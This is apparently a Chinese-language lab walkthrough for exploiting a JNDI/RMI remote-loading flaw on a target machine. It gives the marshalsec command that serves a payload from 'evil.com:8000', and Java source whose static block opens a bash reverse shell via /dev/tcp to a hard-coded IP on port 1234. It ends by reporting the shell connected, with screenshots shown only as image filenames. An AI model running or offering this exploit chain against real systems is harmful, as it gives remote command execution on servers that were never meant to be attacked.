话不多说开始搞.
环境搭建好久开始干
2.png

访问你的靶机环境IP:8090
接着就是要开启一个rmi服务让靶机远程加载我们的PAYLOAD
rmi服务怎么开了,请看https://github.com/mbechler/marshalsec 借助marshalsec来开启rmi服务.
这个环境需要安装apt-get install "maven" 要用maven来编译,但是这个过程我很无语啊,我一直没成功.就是执行mvn clean package -DskipTests 这条语句的时候,就报错,我以为是我java版本的原因然后去换了一个官方的java还是报错,HHHH所以就叫我的颖哥帮忙编译了一下.
3.png

把这个上传到你的VPS上并切开启服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com:8000/#TouchFile" 9999

需要注意这里有2个端口 一个为你需要下载PAYLOAD的端口号,该案例中是8000 第二个为rmi需要监听的端口号,该案例中是9999
成功开启后的样子是这个样子
第一个服务
4.png

第二个服务
5.png

服务开启后我们就开始在VPS上写我们的payload

import java.lang.Runtime;
import java.lang.Process;
public class Rce {

static {
    try {
        Runtime rt = Runtime.getRuntime();
        String payload = "bash -i >& /dev/tcp/139.155.2.101/1234 0>&1 &";
                    String[] commands = {"/bin/bash", "-c", payload };
        Process pc = rt.exec(commands);
        pc.waitFor();
    } catch (Exception e) {

    }
}

}

然后编译成clss文件。
我们开打吧
VPS上监听1234端口
6.png

7.png

8.png

9.png

OK反弹成功!

preView